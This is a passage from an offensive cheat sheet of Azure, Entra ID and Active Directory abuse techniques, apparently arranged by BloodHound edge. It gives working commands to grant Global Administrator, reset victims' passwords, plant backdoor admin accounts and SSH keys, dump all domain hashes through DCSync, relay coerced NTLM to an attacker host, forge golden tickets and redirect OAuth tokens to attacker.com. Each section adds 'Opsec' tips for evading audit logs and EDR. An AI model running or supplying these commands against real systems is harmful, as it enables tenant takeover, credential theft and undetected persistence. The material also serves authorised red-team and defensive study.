-H "Content-Type: application/json" \
-d "{
\"principalId\": \"<object-id>\",
\"resourceId\": \"$GRAPH_SP_ID\",
\"appRoleId\": \"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\"
}"
Step 4 β Assign Global Admin to controlled principal
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<object-id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}'
Windows Abuse
BARK β full chain
# Step 1: Get token
$MGToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
-ClientSecret "asdf..." `
-TenantName "contoso.onmicrosoft.com"
# Step 2: Find MS Graph SP ID
$SPs = Get-MgServicePrincipal -All
$GraphSPId = ($SPs | Where-Object {$_.AppId -eq "00000003-0000-0000-c000-000000000000"}).Id
# Step 3: Grant RoleManagement.ReadWrite.Directory
New-EntraAppRoleAssignment `
-SPObjectId "<object-id>" `
-AppRoleID "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" `
-ResourceID $GraphSPId `
-Token $MGToken.access_token
# Step 4: Assign Global Administrator
New-EntraRoleAssignment `
-PrincipalID "<object-id>" `
-RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `
-Token $MGToken.access_token
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
$GraphSP = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
New-MgServicePrincipalAppRoleAssignment `
-ServicePrincipalId "<object-id>" `
-PrincipalId "<object-id>" `
-ResourceId $GraphSP.Id `
-AppRoleId "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"
$params = @{
principalId = "<object-id>"
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10"
directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params
Key App Role IDs (MS Graph)
| Permission | App Role ID |
|---|---|
| RoleManagement.ReadWrite.Directory | 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 |
| AppRoleAssignment.ReadWrite.All | 06b708a9-e830-4db3-a914-8ddd2cca8d88 |
| Application.ReadWrite.All | 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9 |
| User.ReadWrite.All | 741f803b-c850-494e-b5df-cde7c675a1ca |
| Global Administrator role | 62e90394-69f5-4237-9190-012177145e10 |
Opsec
- Audit event: "Add app role assignment to service principal" β logs actor, target SP, app role granted, timestamp.
- Full chain (grant role β assign GA) creates two distinct audit events.
- This capability is invisible in Azure Portal UI β only visible via audit logs or API queries.
- Token from client_credentials flow does not generate interactive sign-in events.
AZMGGrantRole
The source service principal holds the MS Graph app role RoleManagement.ReadWrite.Directory, enabling it to assign any Entra ID directory role (including Global Administrator) to any principal.
Applies to: AZServicePrincipal β AZTenant (via MS Graph API)
Linux Abuse
Step 1 β Get client credentials token
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
Step 2 β Assign Global Administrator to controlled principal
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<object-id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}'
Assign any other admin role
# List available role definitions
curl -s "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" \
-H "Authorization: Bearer $TOKEN" | jq '.value[] | {displayName, id}'
# Assign Privileged Role Administrator
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<object-id>",
"roleDefinitionId": "e8611ab8-c189-46e8-94e1-60213ab1f814",
"directoryScopeId": "/"
}'
Windows Abuse
BARK β assign Global Admin
$MGToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
-ClientSecret "asdf..." `
-TenantName "contoso.onmicrosoft.com"
New-EntraRoleAssignment `
-PrincipalID "<object-id>" `
-RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `
-Token $MGToken.access_token
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
$params = @{
principalId = "<object-id>"
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10" # Global Administrator
directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params
Assign via directoryRoles (legacy endpoint)
$role = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
New-MgDirectoryRoleMember -DirectoryRoleId $role.Id -DirectoryObjectId <object-id>
Common Role Definition IDs
| Role | ID |
|---|---|
| Global Administrator | 62e90394-69f5-4237-9190-012177145e10 |
| Privileged Role Administrator | e8611ab8-c189-46e8-94e1-60213ab1f814 |
| Application Administrator | 9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3 |
| Cloud Application Administrator | 158c047a-c907-4556-b7ef-446551a6b5f7 |
| User Administrator | fe930be7-5e62-47db-91af-98c3a49a38b1 |
Opsec
- Audit event: "Add member to role outside of PIM (permanent)" β includes actor, target principal, role name.
- Assigning to a service principal (vs user) is less visible in portal dashboards.
- After role assignment, re-authenticate with the target principal to inherit new permissions.
- Required app role:
RoleManagement.ReadWrite.Directory(9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8).
AZOwns
The source principal is the owner of the target Entra ID object, granting nearly all abuse primitives against it.
Applies to: User / ServicePrincipal β AZGroup / AZServicePrincipal / AZDevice / AZApplication
Linux Abuse
Add secret to owned App Registration (curl)
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
# Add client secret to owned app
curl -s -X POST "https://graph.microsoft.com/v1.0/applications/<object-id>/addPassword" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"passwordCredential": {"displayName": "backup"}}'
Add member to owned group (curl)
curl -s -X POST "https://graph.microsoft.com/v1.0/groups/<target-group-id>/members/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Azure CLI β add member to owned group
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
az ad group member add --group <target-group-id> --member-id <object-id>
Windows Abuse
Add secret to owned Service Principal (BARK)
$Token = Get-MSGraphTokenWithClientCredentials `
-ClientID "<app-id>" -ClientSecret "<secret>" -TenantName "<tenant-id>"
New-EntraAppSecret `
-AppRegObjectID "<object-id>" `
-Token $Token.access_token
Add owner to owned SP (BARK)
New-ServicePrincipalOwner `
-ServicePrincipalObjectId "<object-id>" `
-NewOwnerObjectId "<object-id>" `
-Token $Token.access_token
Add member to owned group (Microsoft.Graph PS)
Connect-MgGraph -AccessToken <access-token>
New-MgGroupMember -GroupId <target-group-id> -DirectoryObjectId <object-id>
Add owner to owned group
New-MgGroupOwner -GroupId <target-group-id> -DirectoryObjectId <object-id>
Update owned app redirect URIs (for OAuth token theft)
Update-MgApplication -ApplicationId <object-id> `
-Web @{RedirectUris = @("https://attacker.com/callback")}
Opsec
- Ownership grants near-arbitrary control; Azure logs each abuse action separately.
- Adding secrets to apps leaves an audit event: "Update application - Certificates and secrets management."
- Group membership changes log actor, target group, and added principal with timestamp.
- Prefer adding a new secret over modifying existing credentials to avoid breaking the app.
AZPrivilegedRoleAdmin
The source principal holds the Privileged Role Administrator role, allowing it to assign any Entra ID admin role to any principal β including Global Administrator.
Applies to: User / ServicePrincipal β AZTenant
Linux Abuse
Assign Global Admin role to controlled principal (curl)
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
# Get Global Administrator role object ID
curl -s "https://graph.microsoft.com/v1.0/directoryRoles?\$filter=displayName eq 'Global Administrator'" \
-H "Authorization: Bearer $TOKEN" | jq '.value[0].id'
# Assign role
curl -s -X POST "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Assign via roleManagement endpoint (unified RBAC)
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<object-id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}'
Windows Abuse
PowerZure β assign admin role
Connect-AzAccount -AccessToken <access-token> -AccountId <username>
Add-AzureADRole -Role 'Global Administrator' -PrincipalId <object-id>
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
# Ensure Global Administrator role is activated in tenant
$role = Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
# If not activated yet:
$roleTemplate = Get-MgDirectoryRoleTemplate -Filter "displayName eq 'Global Administrator'"
$role = New-MgDirectoryRole -RoleTemplateId $roleTemplate.Id
New-MgDirectoryRoleMember -DirectoryRoleId $role.Id -DirectoryObjectId <object-id>
Assign via Graph role assignments
$params = @{
principalId = "<object-id>"
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10" # Global Administrator
directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params
Opsec
- Role assignments are logged in Entra ID audit as "Add member to role" with actor, role, and target.
- Activating the Global Administrator role for a service principal is lower-visibility than adding an interactive user.
- Global Admin role definition ID (static):
62e90394-69f5-4237-9190-012177145e10. - After escalation to Global Admin, follow AZGlobalAdmin abuse chain.
AZResetPassword
The source principal can reset the password of the target Entra ID user account.
Applies to: User / ServicePrincipal / Group β AZUser
Linux Abuse
Azure CLI
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
az ad user update --id <target-user-upn> \
--password '<new-password>' \
--force-change-password-next-sign-in false
Graph API (curl)
# Get token first
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
curl -s -X PATCH "https://graph.microsoft.com/v1.0/users/<target-user-id>" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"passwordProfile": {
"password": "<new-password>",
"forceChangePasswordNextSignIn": false
}
}'
Windows Abuse
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
Update-MgUser -UserId <target-user-id> `
-PasswordProfile @{
Password = "<new-password>"
ForceChangePasswordNextSignIn = $false
}
PowerZure
Set-AzureUserPassword -Username <target-user-upn> -Password '<new-password>'
Az PowerShell (interactive)
Connect-AzAccount
$cred = [Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential]@{
Password = '<new-password>'
}
# Use portal or Graph module for password reset β AzureAD module:
Set-AzureADUserPassword -ObjectId <target-user-id> -Password (ConvertTo-SecureString '<new-password>' -AsPlainText -Force)
Opsec
- Every password reset is logged in Entra ID audit logs with actor UPN, target UPN, timestamp.
- Prefer service principal auth over interactive login to avoid MFA prompts.
- Setting
forceChangePasswordNextSignIn = falseavoids forcing the victim to change the password, reducing detection from helpdesk tickets.
AZUserAccessAdmin
The source principal holds the User Access Administrator role on an Azure resource scope, allowing it to assign any Azure RBAC role (including Owner) to any principal on that scope.
Applies to: User / ServicePrincipal β AZSubscription / AZResourceGroup / AZResource
Linux Abuse
Assign Owner role to self on subscription (az CLI)
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
az role assignment create \
--assignee <object-id> \
--role "Owner" \
--scope "/subscriptions/<subscription-id>"
Assign Owner on resource group
az role assignment create \
--assignee <object-id> \
--role "Owner" \
--scope "/subscriptions/<subscription-id>/resourceGroups/<resource-group>"
Graph API β assign Azure RBAC role (REST)
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://management.azure.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
ASSIGNMENT_ID=$(uuidgen)
curl -s -X PUT \
"https://management.azure.com/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleAssignments/${ASSIGNMENT_ID}?api-version=2022-04-01" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"properties": {
"roleDefinitionId": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"principalId": "<object-id>"
}
}'
Owner role definition ID:
8e3af657-a8ff-443c-a75c-2fe8c4bcb635
Windows Abuse
Az PowerShell β assign Owner on subscription
Connect-AzAccount -AccessToken <access-token> -AccountId <username>
New-AzRoleAssignment `
-ObjectId <object-id> `
-RoleDefinitionName "Owner" `
-Scope "/subscriptions/<subscription-id>"
Az PowerShell β assign Contributor on resource group
New-AzRoleAssignment `
-ObjectId <object-id> `
-RoleDefinitionName "Contributor" `
-ResourceGroupName <resource-group>
Assign any custom role
$roleDefId = (Get-AzRoleDefinition -Name "Virtual Machine Contributor").Id
New-AzRoleAssignment `
-ObjectId <object-id> `
-RoleDefinitionId $roleDefId `
-Scope "/subscriptions/<subscription-id>"
Opsec
- Role assignments are logged in the Azure Activity Log under "Create role assignment."
- Assigning Owner to a service principal (rather than a user) is less visible in IAM dashboards.
- Use the minimum required role (Contributor vs Owner) to reduce alert fidelity.
- After becoming Owner on the subscription, enumerate Key Vaults, Automation Accounts, and VMs for further escalation.
AZVMAdminLogin
The source principal has the Virtual Machine Administrator Login role on the target VM, granting local administrator (Windows) or root (Linux) access via AAD-backed login.
Applies to: User β AZVM
Linux Abuse
SSH to Linux VM with AAD authentication
# Install the AAD SSH extension first (or use az ssh)
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
az ssh vm \
--resource-group <resource-group> \
--name <vm-name> \
--local-user <username>
# Or using az ssh with AAD token
az ssh vm -g <resource-group> -n <vm-name>
Get VM public IP and SSH directly after adding SSH key
# Add your public key to the VM
az vm user update \
--resource-group <resource-group> \
--name <vm-name> \
--username <username> \
--ssh-key-value "$(cat ~/.ssh/id_rsa.pub)"
# Get IP
az vm show -d -g <resource-group> -n <vm-name> --query publicIps -o tsv
# SSH
ssh <username>@<vm-public-ip>
Run command on VM without interactive login
az vm run-command invoke \
--resource-group <resource-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts "id; cat /root/root.txt"
# Windows VM
az vm run-command invoke \
--resource-group <resource-group> \
--name <vm-name> \
--command-id RunPowerShellScript \
--scripts "whoami; type C:\Users\Administrator\Desktop\root.txt"
Windows Abuse
RDP with AAD credentials
# Standard RDP β login with your AAD UPN
mstsc /v:<vm-public-ip>
# Username: AzureAD\<username>
# Password: <password>
Az PowerShell β run command as SYSTEM
Connect-AzAccount -AccessToken <access-token> -AccountId <username>
Invoke-AzVMRunCommand `
-ResourceGroupName <resource-group> `
-VMName <vm-name> `
-CommandId RunPowerShellScript `
-ScriptString "whoami; hostname; ipconfig"
Add local admin account via run-command
Invoke-AzVMRunCommand `
-ResourceGroupName <resource-group> `
-VMName <vm-name> `
-CommandId RunPowerShellScript `
-ScriptString 'net user hacker P@ssw0rd123! /add; net localgroup administrators hacker /add'
Opsec
- RDP login generates Event ID 4624 (logon type 10 RemoteInteractive) on the target VM.
az vm run-commandleaves artifacts in Azure Activity Log and on-disk atC:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\.- AAD-based login requires the VM to have the AAD login extension installed.
- Session takeover will disconnect the current user β generates a visible disconnect event.
- Prefer
run-commandfor stealth over interactive RDP/SSH when only code execution is needed.
AZVMContributor
The source principal has the Virtual Machine Contributor role on the target VM, enabling full VM management including running commands as SYSTEM/root.
Applies to: User / ServicePrincipal β AZVM
Linux Abuse
Run arbitrary command as root (Linux VM)
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
az vm run-command invoke \
--resource-group <resource-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts "id && cat /root/root.txt"
Drop SSH key for persistence
az vm run-command invoke \
--resource-group <resource-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts "mkdir -p /root/.ssh && echo '<your-pub-key>' >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys"
Run arbitrary command as SYSTEM (Windows VM)
az vm run-command invoke \
--resource-group <resource-group> \
--name <vm-name> \
--command-id RunPowerShellScript \
--scripts "whoami; hostname; net user hacker P@ssw0rd123! /add; net localgroup administrators hacker /add"
Dump SAM/NTDS via run-command
az vm run-command invoke \
--resource-group <resource-group> \
--name <vm-name> \
--command-id RunPowerShellScript \
--scripts "reg save HKLM\SAM C:\sam.bak; reg save HKLM\SYSTEM C:\sys.bak"
Windows Abuse
PowerZure β run command
Connect-AzAccount -AccessToken <access-token> -AccountId <username>
# Execute arbitrary PowerShell as SYSTEM
Invoke-AzureRunCommand -ResourceGroup <resource-group> -VM <vm-name> -Command 'whoami'
# Run via MSBuild (evasion)
Invoke-AzureRunMSBuild -ResourceGroup <resource-group> -VM <vm-name>
# Execute a program
Invoke-AzureRunProgram -ResourceGroup <resource-group> -VM <vm-name> `
-Program 'cmd.exe' -Arguments '/c whoami > C:\out.txt'
Az PowerShell β run command
Connect-AzAccount -AccessToken <access-token> -AccountId <username>
Invoke-AzVMRunCommand `
-ResourceGroupName <resource-group> `
-VMName <vm-name> `
-CommandId RunPowerShellScript `
-ScriptString 'whoami; hostname; ipconfig /all'
Reset VM admin password
$cred = Get-Credential
Set-AzVMAccessExtension `
-ResourceGroupName <resource-group> `
-VMName <vm-name> `
-Name "VMAccessAgent" `
-Credential $cred `
-TypeHandlerVersion "2.0"
Az CLI β reset admin password
az vm user update \
--resource-group <resource-group> \
--name <vm-name> \
--username Administrator \
--password '<new-password>'
Opsec
run-commandexecution is logged in Azure Activity Log and leaves files underC:\Packages\Plugins\on Windows.- PowerShell script block logging and command line logging on the VM will capture payload content.
- EDR on the guest OS may flag process injection, MSBuild execution, or suspicious commands.
- Use
Invoke-AzureRunMSBuildor signed LOLBin delivery for EDR evasion. - Prefer dropping a scheduled task or SSH key over repeated run-command calls.
CanPSRemote
Principal has the right to use PowerShell Remoting (WinRM) to the target computer.
Applies to: User/Group β Computer
Linux Abuse
evil-winrm (password)
evil-winrm -i <target> -u <username> -p '<password>' -d <domain>
evil-winrm (pass-the-hash)
evil-winrm -i <target> -u <username> -H <ntlm-hash>
evil-winrm (Kerberos)
KRB5CCNAME=<ccache> evil-winrm -i <target> -r <domain>
evil-winrm (SSL)
evil-winrm -i <target> -u <username> -p '<password>' -S
Windows Abuse
Enter-PSSession (interactive)
$cred = Get-Credential
Enter-PSSession -ComputerName <target> -Credential $cred
Invoke-Command (non-interactive)
$cred = New-Object System.Management.Automation.PSCredential('<domain>\<username>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Invoke-Command -ComputerName <target> -Credential $cred -ScriptBlock { whoami; hostname }
New-PSSession (persistent)
$session = New-PSSession -ComputerName <target> -Credential $cred
Invoke-Command -Session $session -ScriptBlock { whoami }
Enter-PSSession -Session $session
Opsec
- WinRM uses ports 5985 (HTTP) and 5986 (HTTPS)
- Generates Event ID 4624 (logon type 3) and PowerShell script block logging (4104) if enabled
- evil-winrm uploads to
%TEMP%by default β use-tto change temp path
CanRDP
Principal has the right to Remote Desktop (RDP) login to the target computer.
Applies to: User/Group β Computer
Linux Abuse
xfreerdp (password)
xfreerdp /u:<username> /p:'<password>' /d:<domain> /v:<target> /dynamic-resolution
xfreerdp (pass-the-hash)
xfreerdp /u:<username> /pth:<ntlm-hash> /d:<domain> /v:<target> /dynamic-resolution
xfreerdp (Kerberos ccache)
KRB5CCNAME=<ccache> xfreerdp /u:<username> /d:<domain> /v:<target> /sec:kerberos /dynamic-resolution
Windows Abuse
mstsc (interactive)
mstsc /v:<target>
PowerShell (cmdkey + mstsc)
cmdkey /generic:<target> /user:<domain>\<username> /pass:<password>
mstsc /v:<target>
SharpRDP (remote exec via RDP without GUI)
SharpRDP.exe computername=<target> command="calc.exe" username=<domain>\<username> password=<password>
Opsec
- RDP logins generate Event ID 4624 (logon type 10) and 4778/4779 on target
- Pass-the-hash via xfreerdp requires Restricted Admin mode enabled on target (
HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin = 0) - SharpRDP leaves fewer GUI artifacts than interactive mstsc session
CoerceAndRelayNTLMToSMB
Force a target computer to authenticate to an attacker-controlled host via NTLM, then relay that authentication to SMB on another target to gain access.
Applies to: Computer β Computer
Linux Abuse
Step 1: Start ntlmrelayx (relay to SMB target)
# Relay to single target
ntlmrelayx.py -smb2support -t smb://<target-computer> -i
# Relay to multiple targets from file
ntlmrelayx.py -smb2support -tf targets.txt -i
# Auto-dump SAM on relay success
ntlmrelayx.py -smb2support -t smb://<target-computer>
# Execute command on relay success
ntlmrelayx.py -smb2support -t smb://<target-computer> -c 'whoami > C:\pwned.txt'
# Get SOCKS proxy for further access
ntlmrelayx.py -smb2support -t smb://<target-computer> --socks
Step 2a: Coerce via PetitPotam (MS-EFSRPC)
PetitPotam.py -u '<username>' -p '<password>' -d '<domain>' <attacker-ip> <target-computer>
# Unauthenticated (older unpatched DCs):
PetitPotam.py <attacker-ip> <target-computer>
Step 2b: Coerce via PrinterBug / SpoolSample (MS-RPRN)
printerbug.py '<domain>/<username>:<password>'@<target-computer> <attacker-ip>
Step 2c: Coerce via Coercer (multi-method)
# Scan for coerceable methods
coercer scan -t <target-computer> -u <username> -p '<password>' -d <domain>
# Coerce authentication
coercer coerce -t <target-computer> -l <attacker-ip> -u <username> -p '<password>' -d <domain>
Step 2d: Coerce via DFSCoerce (MS-DFSNM)
DFSCoerce.py -u '<username>' -p '<password>' -d '<domain>' <attacker-ip> <target-computer>
Step 3: Use SOCKS proxy from ntlmrelayx for further access
# After relay with --socks, connect via proxychains
proxychains smbclient //<target-computer>/C$ -U '<domain>/<username>'
proxychains secretsdump.py -no-pass '<domain>/<username>'@<target-computer>
proxychains wmiexec.py -no-pass '<domain>/<username>'@<target-computer>
Step 3 alt: Interactive SMB shell via -i flag
# ntlmrelayx opens local port (e.g. 11000) with interactive shell
nc 127.0.0.1 11000
Relay to LDAP instead of SMB (for adding objects, RBCD, shadow credentials)
# Relay to LDAP β add RBCD
ntlmrelayx.py -t ldap://<dc-ip> --delegate-access
# Relay to LDAPS β shadow credentials
ntlmrelayx.py -t ldaps://<dc-ip> --shadow-credentials --shadow-target <target-computer>
Combined one-liner (PetitPotam + relay to dump SAM)
# Terminal 1:
ntlmrelayx.py -smb2support -t smb://<target-computer>
# Terminal 2 (after ntlmrelayx is ready):
PetitPotam.py -u '<username>' -p '<password>' -d '<domain>' <attacker-ip> <coerced-computer>
Windows Abuse
Inveigh (PowerShell β combined capture + relay)
Import-Module Inveigh.ps1
Invoke-InveighRelay -ConsoleOutput Y -StatusOutput N -Target <target-computer> -Command "net user /add hax P@ssw0rd && net localgroup administrators hax /add"
Responder + ntlmrelayx (cross-platform relay)
# Disable Responder SMB/HTTP servers, use it only for capture:
# Edit Responder.conf: SMB = Off, HTTP = Off
python Responder.py -I <interface> -rdw
# Then use ntlmrelayx from Linux side
Pre-requisites & Checks
# SMB signing must be DISABLED on relay target
nmap --script smb2-security-mode -p 445 <target-range>
netexec smb <target-range> --gen-relay-list targets.txt
# Check if target is patchd against PetitPotam unauthenticated:
# CVE-2021-36942 β patched Aug 2021; authenticated coercion still works post-patch
Opsec
- Disable Responder's SMB/HTTP listeners when using ntlmrelayx to avoid conflicts (set
SMB = Off,HTTP = Offin Responder.conf) - Relaying requires SMB signing disabled on the relay target β DCs have it enabled by default, workstations typically do not
- Coercion traffic (port 445 outbound from victim) may alert on NDR/IDS
- PetitPotam unauthenticated vector (CVE-2021-36942) is patched β use authenticated coercion post-patch
- Use
--sockswith ntlmrelayx for repeated access without re-triggering coercion
Contains
An OU or Domain contains (is the parent of) the target object. When combined with write access over the OU, ACL inheritance enables attacks on all contained objects.
Applies to: Domain/OU β User/Group/Computer/OU
Note
Contains is structural. It becomes an abuse path when you have GenericAll, WriteDACL, or GenericWrite on the OU β changes to the OU ACL inherit down to all contained objects.
Linux Abuse
Add ACE to OU DACL β grant yourself GenericAll on all contained objects
# Using dacledit.py (impacket)
dacledit.py -action write -rights FullControl -principal <username> -target-dn 'OU=<ou-name>,DC=<domain>,DC=<tld>' '<domain>/<username>:<password>' -dc-ip <dc-ip>
Verify ACE written
dacledit.py -action read -target-dn 'OU=<ou-name>,DC=<domain>,DC=<tld>' '<domain>/<username>:<password>' -dc-ip <dc-ip>
Reset password of user in OU (after inheriting GenericAll)
changepasswd.py -newpass '<new-password>' '<domain>/<username>:<password>'@<dc-ip> -target '<domain>/<target-user>'
Add owned user to group (after inheriting GenericAll over group in OU)
addcomputer.py -computer-name '<computer-name>$' -computer-pass '<password>' -dc-ip <dc-ip> '<domain>/<username>:<password>'
Targeted Kerberoast user in OU (after setting SPN via GenericWrite)
targetedKerberoast.py -d <domain> -u <username> -p '<password>' --dc-ip <dc-ip>
Windows Abuse
Add ACE granting GenericAll on OU (PowerView)
Add-DomainObjectAcl -TargetIdentity '<ou-name>' -PrincipalIdentity <username> -Rights All -Verbose
Confirm ACL inheritance is enabled on OU objects
Get-DomainObjectAcl -Identity '<ou-name>' -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -match '<sid>'}
Reset contained user password after ACL inheritance
$cred = New-Object System.Management.Automation.PSCredential('<domain>\<username>', (ConvertTo-SecureString '<password>' -AsPlainText -Force))
Set-DomainUserPassword -Identity <target-user> -AccountPassword (ConvertTo-SecureString '<new-password>' -AsPlainText -Force) -Credential $cred
Add user to group after ACL inheritance
Add-DomainGroupMember -Identity '<group-name>' -Members '<username>' -Credential $cred
Enable ACL inheritance on all objects in OU (if blocked)
Get-ADObject -Filter * -SearchBase 'OU=<ou-name>,DC=<domain>,DC=<tld>' | ForEach-Object {
$acl = Get-Acl -Path "AD:\$($_.DistinguishedName)"
$acl.SetAccessRuleProtection($false, $true)
Set-Acl -Path "AD:\$($_.DistinguishedName)" -AclObject $acl
}
Opsec
- Writing ACEs to OU generates Event ID 5136 (directory service object modified)
- ACL inheritance propagation is not immediate β may take seconds to minutes
- Prefer targeting specific objects over blanket OU ACL modification to reduce noise
DCSync
Source principal holds both GetChanges and GetChangesAll on the domain object, enabling replication of all password hashes from a domain controller without being a DC.
Applies to: User/Group/Computer β Domain
Note: DCSync requires BOTH
GetChangesANDGetChangesAllon the Domain object. This edge appears in BloodHound when both conditions are already met.
Linux Abuse
impacket β secretsdump (primary method)
# Password auth
secretsdump.py -outputfile 'dcsync' -dc-ip <dc-ip> '<domain>/<username>:<password>@<dc-ip>'
# Pass-the-Hash
secretsdump.py -outputfile 'dcsync' -hashes ':<ntlm-hash>' -dc-ip <dc-ip> '<domain>/<username>@<dc-ip>'
# Pass-the-Ticket (Kerberos)
KRB5CCNAME=<ccache> secretsdump.py -k -no-pass -outputfile 'dcsync' -dc-ip <dc-ip> '<domain>/<username>@<dc-hostname>'
# Single user only
secretsdump.py -dc-ip <dc-ip> '<domain>/<username>:<password>@<dc-ip>' -just-dc-user <target-user>
# NTLM only (faster, no Kerberos keys)
secretsdump.py -dc-ip <dc-ip> '<domain>/<username>:<password>@<dc-ip>' -just-dc-ntlm
Output files from secretsdump
dcsync.ntds β LM:NT hashes for all users
dcsync.cleartext β reversibly encrypted plaintext passwords
dcsync.kerberos β DES, AES128, AES256 Kerberos keys
bloodyAD
bloodyAD -u <username> -p '<password>' -d <domain> --host <dc-ip> get dcSync
bloodyAD -u <username> -H '<ntlm-hash>' -d <domain> --host <dc-ip> get dcSync --user <target-user>
NTLM relay β DCSync (if NTLM relay position available)
ntlmrelayx.py -t dcsync://<dc-hostname>
ntlmrelayx.py -t dcsync://<dc-hostname> -auth-smb '<domain>/<low-priv-user>:<password>'
Windows Abuse
Mimikatz
mimikatz # lsadump::dcsync /domain:<domain> /user:Administrator
mimikatz # lsadump::dcsync /domain:<domain> /user:krbtgt
mimikatz # lsadump::dcsync /domain:<domain> /all /csv
Invoke-Mimikatz (PowerShell)
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<domain> /user:Administrator"'
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:<domain> /user:krbtgt"'
SharpKatz
.\SharpKatz.exe --Command dcsync --User Administrator --Domain <domain> --DomainController <dc-hostname>
After DCSync β using krbtgt hash for Golden Ticket
# Linux: ticketer.py
ticketer.py -nthash '<krbtgt-ntlm-hash>' -domain-sid '<domain-sid>' -domain '<domain>' 'fakeuser'
export KRB5CCNAME=fakeuser.ccache
# Windows: Mimikatz Golden Ticket
mimikatz # kerberos::golden /user:Administrator /domain:<domain> /sid:<domain-sid> /krbtgt:<krbtgt-ntlm-hash> /ptt
Opsec
- DCSync generates Event ID 4662 on DC with ObjectType GUID for DS-Replication-Get-Changes β monitored by most SIEMs
- Impacket uses SMB/DRSR over port 445 β monitor for non-DC systems issuing replication RPCs
- Request only specific users (
